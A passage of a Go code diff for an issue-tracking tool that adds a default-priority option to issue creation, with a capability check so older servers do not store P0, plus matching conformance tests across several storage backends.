IssueType: types.TypeTask, Priority: priority} + } + type encoded struct { + priority *int + err error + } + shapes := map[string]func(priority int, useDefault bool) encoded{ + "createIssue": func(priority int, useDefault bool) encoded { + body, err := createBody(issueops.CreateRequest{Actor: "a", Issue: issue(priority), DefaultPriority: useDefault}) + return encoded{body.Priority, err} + }, + "batchCreateIssues": func(priority int, useDefault bool) encoded { + item, err := batchCreateItem(0, issueops.BatchCreateItem{Issue: issue(priority), DefaultPriority: useDefault}, "a") + return encoded{item.Priority, err} + }, + "applyBatch create item": func(priority int, useDefault bool) encoded { + item, err := applyCreateItemBody(&issueops.CreateItem{Issue: issue(priority), DefaultPriority: useDefault}, "a") + if err != nil { + return encoded{nil, err} + } + return encoded{item.Priority, nil} + }, + } + for name, encode := range shapes { + t.Run(name, func(t *testing.T) { + if got := encode(0, true); got.err != nil || got.priority != nil { + t.Errorf("DefaultPriority: priority member = %v, err = %v; want the member absent", got.priority, got.err) + } + if got := encode(0, false); got.err != nil || got.priority == nil || *got.priority != 0 { + t.Errorf("priority 0: priority member = %v, err = %v; want an explicit 0", got.priority, got.err) + } + if got := encode(3, false); got.err != nil || got.priority == nil || *got.priority != 3 { + t.Errorf("priority 3: priority member = %v, err = %v; want 3", got.priority, got.err) + } + if got := encode(3, true); !errors.Is(got.err, issueops.ErrValidation) { + t.Errorf("DefaultPriority with priority 3: err = %v, want ErrValidation", got.err) + } + }) + } +} + +// createPriorityRoles drives one create through each of the three create roles +// and reports the `priority` member that role put on the wire (nil when it is +// absent), or the role's own error. +func createPriorityRoles() map[string]func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error) { + issue := func(priority int) *types.Issue { + return &types.Issue{Title: "t", IssueType: types.TypeTask, Priority: priority} + } + return map[string]func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error){ + "Lifecycle.Create": func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error) { + lifecycle, err := s.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + if _, err := lifecycle.Create(t.Context(), issueops.CreateRequest{ + Actor: "a", Issue: issue(priority), DefaultPriority: useDefault, + }); err != nil { + return nil, err + } + return w.lastCreate.Priority, nil + }, + "BatchCreator.CreateBatch": func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error) { + creator, err := s.BatchCreator() + if err != nil { + t.Fatalf("BatchCreator(): %v", err) + } + if _, err := creator.CreateBatch(t.Context(), issueops.CreateBatchRequest{ + Actor: "a", Items: []issueops.BatchCreateItem{{Issue: issue(priority), DefaultPriority: useDefault}}, + }); err != nil { + return nil, err + } + return w.lastBatchCreate.Items[0].Priority, nil + }, + "BatchApplier.ApplyBatch": func(t *testing.T, s *Store, w *stubWire, priority int, useDefault bool) (*int, error) { + applier, err := s.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + if _, err := applier.ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "a", Items: []issueops.ApplyItem{{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{Issue: issue(priority), DefaultPriority: useDefault}, + }}, + }); err != nil { + return nil, err + } + return w.lastApply.Items[0].Create.Priority, nil + }, + } +} + +// showPriority renders a wire `priority` member for a comparison: its value, +// or "absent". +func showPriority(p *int) any { + if p == nil { + return "absent" + } + return *p +} + +// TestCreateSendsTheDefaultPriorityToAServerThatPredatesIt is a NEW client +// against an OLD server, on all three create roles. A handshake without +// issues.create.defaultPriority is a server that reads an absent `priority` as +// 0 and would store P0 (critical) for every create that asked for the +// default, so against it the role sends issueops.DefaultCreatePriority (2) +// explicitly. Against a server that advertises the token the member stays +// absent and the server's role applies the default. An explicit 0 is sent as 0 +// to both. +func TestCreateSendsTheDefaultPriorityToAServerThatPredatesIt(t *testing.T) { + for name, run := range createPriorityRoles() { + for _, server := range []struct { + name string + caps []string + wantDefault any + }{ + {name: "old server", caps: nil, wantDefault: issueops.DefaultCreatePriority}, + {name: "current server", caps: []string{wire.CapIssuesCreateDefaultPriority}, wantDefault: "absent"}, + } { + t.Run(name+"/"+server.name, func(t *testing.T) { + store := func(w *stubWire) *Store { + return New(testTarget(t), w, &apigen.ContextResponse{BdVersion: "1.2.3", Capabilities: server.caps}) + } + w := &stubWire{} + sent, err := run(t, store(w), w, 0, true) + if err != nil { + t.Fatalf("DefaultPriority: %v", err) + } + if got := showPriority(sent); got != server.wantDefault { + t.Errorf("DefaultPriority: sent priority %v, want %v", got, server.wantDefault) + } + w = &stubWire{} + sent, err = run(t, store(w), w, 0, false) + if err != nil { + t.Fatalf("explicit 0: %v", err) + } + if got := showPriority(sent); got != 0 { + t.Errorf("explicit 0: sent priority %v, want 0", got) + } + }) + } + } +} + +// handshakeWire is a stubWire whose handshake answers with res and err, so a +// test can hand the store a handshake that says nothing, or one that fails. +type handshakeWire struct { + *stubWire + res *apigen.ContextResponse + err error +} + +func (w handshakeWire) ServerContext(context.Context) (*apigen.ContextResponse, error) { + return w.res, w.err +} + +// TestCreateDefaultPriorityWithoutAUsableHandshake covers the handshakes that +// cannot say whether the server applies the default, on all three create +// roles. One that answers no context has no token to read, so the role sends +// issueops.DefaultCreatePriority explicitly, as it does to an older server. One +// that fails fails the create before it is dialed, rather than guessing. A +// request that names its priority never asks, so a failing handshake does not +// stop it. +func TestCreateDefaultPriorityWithoutAUsableHandshake(t *testing.T) { + boom := errors.New("handshake failed") + for name, run := range createPriorityRoles() { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + sent, err := run(t, New(testTarget(t), handshakeWire{stubWire: w}, nil), w, 0, true) + if err != nil { + t.Fatalf("no context, DefaultPriority: %v", err) + } + if got := showPriority(sent); got != issueops.DefaultCreatePriority { + t.Errorf("no context, DefaultPriority: sent priority %v, want %v", got, issueops.DefaultCreatePriority) + } + + w = &stubWire{} + if _, err := run(t, New(testTarget(t), handshakeWire{stubWire: w, err: boom}, nil), w, 0, true); !errors.Is(err, boom) { + t.Errorf("failed handshake, DefaultPriority: err = %v, want the handshake's error", err) + } + if len(w.calls) != 0 { + t.Errorf("failed handshake, DefaultPriority: dialed %v, want nothing", w.calls) + } + + w = &stubWire{} + sent, err = run(t, New(testTarget(t), handshakeWire{stubWire: w, err: boom}, nil), w, 0, false) + if err != nil { + t.Fatalf("failed handshake, explicit 0: %v", err) + } + if got := showPriority(sent); got != 0 { + t.Errorf("failed handshake, explicit 0: sent priority %v, want 0", got) + } + }) + } +} diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go index 409be20d3..4475293a2 100644 --- a/internal/httpclient/lifecycle.go +++ b/internal/httpclient/lifecycle.go @@ -63,6 +63,9 @@ func (l *httpLifecycle) Create(ctx context.Context, req issueops.CreateRequest) if err != nil { return issueops.CreateResult{}, err } + if err := l.store.pinCreateDefaultPriority(ctx, &body.Priority); err != nil { + return issueops.CreateResult{}, err + } issue, err := l.wire.CreateIssue(ctx, body) if err != nil { @@ -112,11 +115,11 @@ func createBody(req issueops.CreateRequest) (apigen.CreateIssueRequest, error) { } issue := req.Issue - // Priority is sent ALWAYS, for batchCreateIssues' reason: 0 is P0 and a real - // request, so an absent member — which the server reads as the workspace - // default — would silently reprioritize every critical issue a plan creates. - priority := issue.Priority - body := apigen.CreateIssueRequest{Actor: req.Actor, Title: issue.Title, Priority: &priority} + priority, err := wirePriority(issue.Priority, req.DefaultPriority) + if err != nil { + return apigen.CreateIssueRequest{}, err + } + body := apigen.CreateIssueRequest{Actor: req.Actor, Title: issue.Title, Priority: priority} setItemString(&body.Id, issue.ID) setItemString(&body.Description, issue.Description) @@ -961,3 +964,64 @@ func (s *Store) CloseIssue(ctx context.Context, id, reason, actor, session strin _, err = w.CloseIssue(ctx, id, closeBody(actor, reason, session, true)) return err } + +// wirePriority projects a create's priority onto the wire's optional member. +// +// It is sent WHENEVER THE CALLER NAMED ONE, zero included: 0 is P0 and a real +// request, so an absent member would silently reprioritize critical work. It +// is absent only when the request asks for the default (DefaultPriority), and +// then the server's role applies the default — the one place it lives — rather +// than this client spelling the number, PROVIDED the server says it does: +// pinCreateDefaultPriority fills the member in for one that does not. The +// pointer addresses a local copy, never the caller's field. +func wirePriority(priority int, useDefault bool) (*int, error) { + if err := storageops.ValidateCreatePriority(priority, useDefault); err != nil { + return nil, err + } + if useDefault { + return nil, nil + } + return &priority, nil +} + +// pinCreateDefaultPriority decides, before the dial and from the cached +// handshake, whether the absent priorities among the given wire members may +// stay absent. A server advertising wire.CapIssuesCreateDefaultPriority stores +// the create default for an absent member; an older one reads absent as 0 and +// would store P0 (critical) for every create that asked for the default. So +// against an older server each absent member is set to +// issueops.DefaultCreatePriority explicitly. A request naming every priority +// costs no handshake. +// +// The decision assumes the create reaches the build that answered the +// handshake. The handshake is fetched once per Store and cached for its life +// (one command, in cmd/bd), so a create that lands on an older build — a +// server rolled back under a live Store, or mixed builds behind one URL — +// still goes out with the member absent, and that server stores P0 with no +// error on either side. A capability that gates a member an older server +// refuses is loud on a stale handshake (the `has_spawner` that +// refuseUnservedDepAddLineage gates draws a 400); this one gates the ABSENCE +// of a member every server already reads, so nothing refuses it. +func (s *Store) pinCreateDefaultPriority(ctx context.Context, priorities ...**int) error { + var absent []**int + for _, p := range priorities { + if *p == nil { + absent = append(absent, p) + } + } + if len(absent) == 0 { + return nil + } + snap, err := s.snapshot(ctx) + if err != nil { + return err + } + if snap != nil && slices.Contains(snap.Capabilities, wire.CapIssuesCreateDefaultPriority) { + return nil + } + for _, p := range absent { + priority := issueops.DefaultCreatePriority + *p = &priority + } + return nil +} diff --git a/internal/httpclient/lifecycle_create_test.go b/internal/httpclient/lifecycle_create_test.go index a67b50693..462d291ee 100644 --- a/internal/httpclient/lifecycle_create_test.go +++ b/internal/httpclient/lifecycle_create_test.go @@ -239,7 +239,7 @@ func TestCreateRefusesEveryMemberTheWireExcludes(t *testing.T) { got := populatableFields(reflect.TypeOf(issueops.CreateRequest{})) sort.Strings(got) want := []string{ - "Actor", "Dependencies", "ForceIDPrefix", "IDPrefix", + "Actor", "DefaultPriority", "Dependencies", "ForceIDPrefix", "IDPrefix", "InheritLabelsFromParent", "Issue", "ParentID", "WaitsFor", } if !reflect.DeepEqual(got, want) { diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index e7aa98872..a168048a7 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -269,6 +269,10 @@ func TestServedBatchApplyRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, t.Context(), newServedBatchApplyFixture(t, "hbadot")) } +func TestServedBatchApplyAppliesTheDefaultPriority(t *testing.T) { + conformance.RunBatchApplyAppliesTheDefaultPriority(t, t.Context(), newServedBatchApplyFixture(t, "hbaprio")) +} + // TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add // HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a // served default Config always advertises CapBatchApplyDepAddLineage (it is diff --git a/internal/httpclient/served_bulk_test.go b/internal/httpclient/served_bulk_test.go index 03bfb4870..f92eb6454 100644 --- a/internal/httpclient/served_bulk_test.go +++ b/internal/httpclient/served_bulk_test.go @@ -628,6 +628,10 @@ func TestServedBatchCreatorEchoesSubSecondTimestamps(t *testing.T) { conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, t.Context(), newServedBatchCreatorFixture(t, "hb12")) } +func TestServedBatchCreatorAppliesTheDefaultPriority(t *testing.T) { + conformance.RunBatchCreatorAppliesTheDefaultPriority(t, t.Context(), newServedBatchCreatorFixture(t, "hbprio")) +} + // The last TWO items of the wire's item vocabulary, both on the EPHEMERAL half // of it and both parked for the reason the eight above are: apigen.BatchCreateItem // carries eight content members and no id and no wisp flag, so an item cannot diff --git a/internal/httpclient/served_lifecycle_create_test.go b/internal/httpclient/served_lifecycle_create_test.go index 6f152753f..5e954503d 100644 --- a/internal/httpclient/served_lifecycle_create_test.go +++ b/internal/httpclient/served_lifecycle_create_test.go @@ -120,6 +120,10 @@ func TestServedLifecycleCreateEchoesSubSecondTimestamps(t *testing.T) { conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, t.Context(), newServedCreateFixture(t, "hlc6")) } +func TestServedLifecycleCreateAppliesTheDefaultPriority(t *testing.T) { + conformance.RunLifecycleCreateAppliesTheDefaultPriority(t, t.Context(), newServedCreateFixture(t, "hlcprio")) +} + // createParkBead is the bead the create-side parks cite. It is separate from // parkBead — the write-side parks of the close/update wave — because these // retire on different events: two of them wait on the wire growing a diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index a52f81cb1..b0ed49785 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -221,6 +221,15 @@ const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" // (bd-jkp9v3). const CapIssuesUpdateAllowTemplate = "issues.update.allowTemplate" +// CapIssuesCreateDefaultPriority is the behavior capability announcing that +// the server stores the create default priority for an ABSENT `priority` +// member on issues.create, issues.batchCreate and issues.batchApply create +// items, spelled exactly as httpapi's constant of the same name. The create +// roles read it from the cached handshake before the dial: a server without it +// reads an absent priority as P0, so against it the client sends +// issueops.DefaultCreatePriority explicitly (pinCreateDefaultPriority). +const CapIssuesCreateDefaultPriority = "issues.create.defaultPriority" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -361,7 +370,7 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, - CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, + CapBatchApplyDepAddLineage, CapIssuesUpdateAllowTemplate, CapIssuesCreateDefaultPriority, } // CapabilityFor reports the capability token gating op, and whether op is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 01a0ea9cf..8e5abb1dd 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -196,11 +196,11 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if !slices.Equal(behaviorCapabilities, []string{ httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, - httpapi.CapBatchApplyDepAddLineage, httpapi.CapIssuesUpdateAllowTemplate, + httpapi.CapBatchApplyDepAddLineage, httpapi.CapIssuesUpdateAllowTemplate, httpapi.CapIssuesCreateDefaultPriority, }) { t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit and "+ - "issues.batchApply.depAddLineage and issues.update.allowTemplate tokens", behaviorCapabilities) + "issues.batchApply.depAddLineage and issues.update.allowTemplate and issues.create.defaultPriority tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index 69f3514cd..33c2fb62c 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -78,10 +78,19 @@ type carriage struct { // incremental add or remove has no expression. CreateRequest.Issue is the // other, and its excluded shape is a set of MEMBERS rather than a mode. partial string + // absenceOf names the member a field is carried as the ABSENCE of, when + // another field drives that member's presence. CreateRequest.DefaultPriority + // is the population: "use the default" is `priority` left out, the member + // the Issue spread otherwise drives (wirePriority). It drives no member of + // its own, so the wire -> source direction does not count it, but the + // member must still be published. + absenceOf string } func member(name string) carriage { return carriage{member: name} } +func absenceOf(name string) carriage { return carriage{absenceOf: name} } + func spread(names ...string) carriage { return carriage{spread: names} } // members lists every wire member a carriage drives, whichever way it drives @@ -164,6 +173,9 @@ func writeShapes() []writeShape { "Dependencies": member("dependencies"), "WaitsFor": member("waits_for"), "ForceIDPrefix": member("force_id_prefix"), + // DefaultPriority is the ABSENCE of `priority`: the member the + // Issue spread drives is left out (wirePriority). + "DefaultPriority": absenceOf("priority"), }, }, { @@ -512,6 +524,8 @@ func writeShapes() []writeShape { partial: "W-CreateItem.Issue", }, "MetadataRefs": member("metadata_refs"), + // The absence of `priority` (wirePriority). + "DefaultPriority": absenceOf("priority"), }, }, { @@ -652,7 +666,7 @@ func TestEveryWireExcludedWriteMemberCarriesALedgerRow(t *testing.T) { continue } ways := 0 - for _, set := range []bool{how.member != "", len(how.spread) > 0, how.routed != ""} { + for _, set := range []bool{how.member != "", len(how.spread) > 0, how.routed != "", how.absenceOf != ""} { if set { ways++ } @@ -662,6 +676,11 @@ func TestEveryWireExcludedWriteMemberCarriesALedgerRow(t *testing.T) { t.Errorf("%s.%s claims more than one of a body member, a spread and a route; it has exactly one", shape.source.Name(), name) case ways == 0: t.Errorf("%s.%s is in the carried table with neither a member nor a route", shape.source.Name(), name) + case how.absenceOf != "": + if !members[how.absenceOf] { + t.Errorf("%s.%s is carried as the absence of %q, which %s does not publish: %v", + shape.source.Name(), name, how.absenceOf, shape.body.Name(), sortedKeys(members)) + } default: for _, wireMember := range how.members() { if !members[wireMember] { diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 5d009ca38..e12080dd0 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -275,6 +275,11 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyAppliesTheDefaultPriority(t, ctx, fixture) + }) } // newDoltBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/batch_creator_contract_test.go b/internal/storage/dolt/batch_creator_contract_test.go index db4e6878e..bd662481f 100644 --- a/internal/storage/dolt/batch_creator_contract_test.go +++ b/internal/storage/dolt/batch_creator_contract_test.go @@ -60,6 +60,9 @@ func TestBatchCreatorContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchCreatorAppliesTheDefaultPriority(t, ctx, fixture) + }) } // newDoltBatchCreatorFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/lifecycle_create_contract_test.go b/internal/storage/dolt/lifecycle_create_contract_test.go index b8b40def1..c81919692 100644 --- a/internal/storage/dolt/lifecycle_create_contract_test.go +++ b/internal/storage/dolt/lifecycle_create_contract_test.go @@ -39,6 +39,9 @@ func TestLifecycleCreateContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunLifecycleCreateAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newDoltLifecycleCreateFixture(t *testing.T, prefix string) (conformance.LifecycleCreateFixture, context.Context, func()) { diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 6d330a163..343c16083 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -199,6 +199,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchApplyAppliesTheDefaultPriority(t, ctx, fixture) + }) } // newEmbeddedBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/embeddeddolt/batch_creator_contract_test.go b/internal/storage/embeddeddolt/batch_creator_contract_test.go index 8bfb53398..bfc283ab6 100644 --- a/internal/storage/embeddeddolt/batch_creator_contract_test.go +++ b/internal/storage/embeddeddolt/batch_creator_contract_test.go @@ -61,6 +61,9 @@ func TestBatchCreatorContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchCreatorAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newEmbeddedBatchCreatorFixture(t *testing.T, te *testEnv, prefix string) conformance.BatchCreatorFixture { diff --git a/internal/storage/embeddeddolt/lifecycle_create_contract_test.go b/internal/storage/embeddeddolt/lifecycle_create_contract_test.go index 96d586b0d..d05c0ab6f 100644 --- a/internal/storage/embeddeddolt/lifecycle_create_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_create_contract_test.go @@ -40,6 +40,9 @@ func TestLifecycleCreateContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunLifecycleCreateAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newEmbeddedLifecycleCreateFixture(t *testing.T, te *testEnv, prefix string) conformance.LifecycleCreateFixture { diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index 0459110eb..0a069f57b 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -238,9 +238,10 @@ func (r *applyBatchRun) applyItem(ctx context.Context, tx *sql.Tx, index int) er // cap. Revisit it with a measurement, not with a copy of ExecuteCreateBatch. func (r *applyBatchRun) applyCreate(ctx context.Context, tx *sql.Tx, index int, item *publicops.CreateItem) error { created, tables, err := ExecuteCreate(ctx, tx, publicops.CreateRequest{ - Actor: r.plan.Actor, - Issue: item.Issue, - ForceIDPrefix: r.plan.ForceIDPrefix, + Actor: r.plan.Actor, + Issue: item.Issue, + ForceIDPrefix: r.plan.ForceIDPrefix, + DefaultPriority: item.DefaultPriority, }) if err != nil { return &publicops.ItemError{Index: index, Kind: publicops.ItemCreate, Key: item.Key, Err: err} diff --git a/internal/storage/issueops/create_batch.go b/internal/storage/issueops/create_batch.go index 4739f470d..29c660ccc 100644 --- a/internal/storage/issueops/create_batch.go +++ b/internal/storage/issueops/create_batch.go @@ -17,10 +17,11 @@ func CloneCreateBatchRequest(request publicops.CreateBatchRequest) publicops.Cre clone := request clone.Items = make([]publicops.BatchCreateItem, len(request.Items)) for i, item := range request.Items { - clone.Items[i] = publicops.BatchCreateItem{ - Issue: clonePublicIssue(item.Issue), - Dependencies: append([]publicops.CreateDependency(nil), item.Dependencies...), - } + // Start from the item itself so every scalar member (DefaultPriority + // today) survives the clone; only the reference members are deepened. + clone.Items[i] = item + clone.Items[i].Issue = clonePublicIssue(item.Issue) + clone.Items[i].Dependencies = append([]publicops.CreateDependency(nil), item.Dependencies...) } return clone } @@ -53,10 +54,11 @@ func ValidateCreateBatchRequest(request publicops.CreateBatchRequest) error { // an item through it, so no item restates CreateRequest's field rules. func CreateBatchItemRequest(request publicops.CreateBatchRequest, item publicops.BatchCreateItem) publicops.CreateRequest { return publicops.CreateRequest{ - Actor: request.Actor, - Issue: item.Issue, - Dependencies: item.Dependencies, - ForceIDPrefix: request.ForceIDPrefix, + Actor: request.Actor, + Issue: item.Issue, + Dependencies: item.Dependencies, + ForceIDPrefix: request.ForceIDPrefix, + DefaultPriority: item.DefaultPriority, } } diff --git a/internal/storage/issueops/public_create.go b/internal/storage/issueops/public_create.go index 693edac9e..d80952eea 100644 --- a/internal/storage/issueops/public_create.go +++ b/internal/storage/issueops/public_create.go @@ -47,9 +47,24 @@ func ValidatePublicCreateRequest(request publicops.CreateRequest) error { if err := types.CheckFieldLen("parent ID", request.ParentID); err != nil { return publicCreateValidationError(fmt.Errorf("create: %w", err)) } + if err := ValidateCreatePriority(request.Issue.Priority, request.DefaultPriority); err != nil { + return err + } return validatePublicCreateDependencies(request) } +// ValidateCreatePriority refuses a create that asks for the default priority +// (CreateRequest.DefaultPriority, and the batch items' copies of it) while its +// issue also names one: the two would disagree about what was asked for. It is +// exported so a wire client refuses the same request before the dial instead +// of dropping the member it cannot send both of. +func ValidateCreatePriority(issuePriority int, useDefault bool) error { + if useDefault && issuePriority != 0 { + return publicCreateValidationError(fmt.Errorf("create: DefaultPriority is set but the issue names priority %d", issuePriority)) + } + return nil +} + // PreparePublicCreateRequest snapshots, normalizes, and validates a public // create request using the supplied configuration. func PreparePublicCreateRequest(request publicops.CreateRequest, context PublicCreateContext) (publicops.CreateRequest, error) { @@ -61,6 +76,13 @@ func PreparePublicCreateRequest(request publicops.CreateRequest, context PublicC if issue.Status == "" { issue.Status = types.StatusOpen } + // THE ONE PLACE the create priority default is applied: every + // Lifecycle.Create, BatchCreator item and BatchApplier create item on every + // backend is prepared here, so the CLI and the HTTP handlers only say + // "absent" and never spell the number. + if request.DefaultPriority { + issue.Priority = publicops.DefaultCreatePriority + } if issue.ID != "" && !request.ForceIDPrefix { // The caller's prefix wins when it supplied one; see // CreateRequest.IDPrefix for why a front door may know better than the @@ -78,6 +100,9 @@ func PreparePublicCreateRequest(request publicops.CreateRequest, context PublicC } prepared := request prepared.Issue = issue + // The default is spent: the prepared issue now carries the priority, and + // the flag would contradict it on the re-validation below. + prepared.DefaultPriority = false if prepared.WaitsFor != nil && prepared.WaitsFor.Gate == "" { prepared.WaitsFor.Gate = string(types.WaitsForAllChildren) } diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index 8562f63b7..c566ef2db 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -218,9 +218,10 @@ func (r *uowApplyRun) applyCreate(ctx context.Context, index int, item *publicop return err } prepared, err := storageissueops.PreparePublicCreateRequest(publicops.CreateRequest{ - Actor: r.plan.Actor, - Issue: item.Issue, - ForceIDPrefix: r.plan.ForceIDPrefix, + Actor: r.plan.Actor, + Issue: item.Issue, + ForceIDPrefix: r.plan.ForceIDPrefix, + DefaultPriority: item.DefaultPriority, }, storageissueops.PublicCreateContext{ IssuePrefix: createContext.IssuePrefix, AllowedPrefixes: createContext.AllowedPrefixes, diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index edfa1af3d..8d4158ac6 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -169,6 +169,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchApplyAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newUOWBatchApplyFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchApplyFixture { diff --git a/internal/storage/uow/batch_creator_contract_test.go b/internal/storage/uow/batch_creator_contract_test.go index 0bc5f74fb..99621f472 100644 --- a/internal/storage/uow/batch_creator_contract_test.go +++ b/internal/storage/uow/batch_creator_contract_test.go @@ -61,6 +61,9 @@ func TestBatchCreatorContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunBatchCreatorEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunBatchCreatorAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newUOWBatchCreatorFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchCreatorFixture { diff --git a/internal/storage/uow/lifecycle_create_contract_test.go b/internal/storage/uow/lifecycle_create_contract_test.go index 19e1d16b5..e32d4a85f 100644 --- a/internal/storage/uow/lifecycle_create_contract_test.go +++ b/internal/storage/uow/lifecycle_create_contract_test.go @@ -40,6 +40,9 @@ func TestLifecycleCreateContract(t *testing.T) { t.Run("EchoesSubSecondTimestamps", func(t *testing.T) { conformance.RunLifecycleCreateEchoesSubSecondTimestamps(t, ctx, fixture) }) + t.Run("AppliesTheDefaultPriority", func(t *testing.T) { + conformance.RunLifecycleCreateAppliesTheDefaultPriority(t, ctx, fixture) + }) } func newUOWLifecycleCreateFixture(t *testing.T, ctx context.Context, prefix string) conformance.LifecycleCreateFixture { diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 7b3634a08..71116da50 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -100,6 +100,9 @@ type CreateItem struct { // A caller reading the event stream sees a create and then an update, not // one create carrying values nothing could have known yet. MetadataRefs map[string]Ref + // DefaultPriority is CreateRequest.DefaultPriority for this item: the item + // has no priority, and the create stores DefaultCreatePriority. + DefaultPriority bool } // UpdateItem patches one existing issue, under UpdateRequest's rules. diff --git a/issueops/batchcreator.go b/issueops/batchcreator.go index e75e1fbbc..f3fbe8316 100644 --- a/issueops/batchcreator.go +++ b/issueops/batchcreator.go @@ -43,6 +43,8 @@ type BatchCreateItem struct { // referred to at all, because nothing can name an id that does not exist // yet. Dependencies []CreateDependency + // DefaultPriority is CreateRequest.DefaultPriority for this item. 